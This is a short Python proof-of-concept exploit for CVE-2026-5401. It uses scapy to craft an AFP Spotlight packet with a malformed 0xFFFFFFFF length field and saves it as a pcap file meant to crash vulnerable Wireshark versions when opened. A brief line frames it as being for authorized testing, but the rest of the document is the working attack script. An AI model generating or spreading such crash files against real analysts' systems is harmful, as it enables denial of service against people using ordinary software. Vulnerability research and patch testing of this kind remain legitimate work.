The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-5401
# This script generates a malformed AFP Spotlight packet to crash Wireshark.
# Note: Requires scapy to be installed.
from scapy.all import *
# Define a custom AFP Spotlight layer with malformed length
class AFP_Spotlight_Malformed(Packet):
name = "AFP Spotlight Malformed"
fields_desc = [
ByteField("type", 0x02),
IntField("length", 0xFFFFFFFF), # Malformed length to trigger overflow/crash
StrLenField("data", "A" * 10, length_from=lambda pkt: 10)
]
# Construct the packet
ether = Ether()
ip = IP(dst="127.0.0.1")
tcp = TCP(sport=12345, dport=548) # AFP port
malformed_payload = AFP_Spotlight_Malformed()
packet = ether / ip / tcp / malformed_payload
# Save to pcap file
wrpcap("cve_2026_5401_poc.pcap", packet)
print("[+] PoC file generated: cve_2026_5401_poc.pcap")
print("[+] Open this file with a vulnerable Wireshark version to reproduce the crash.")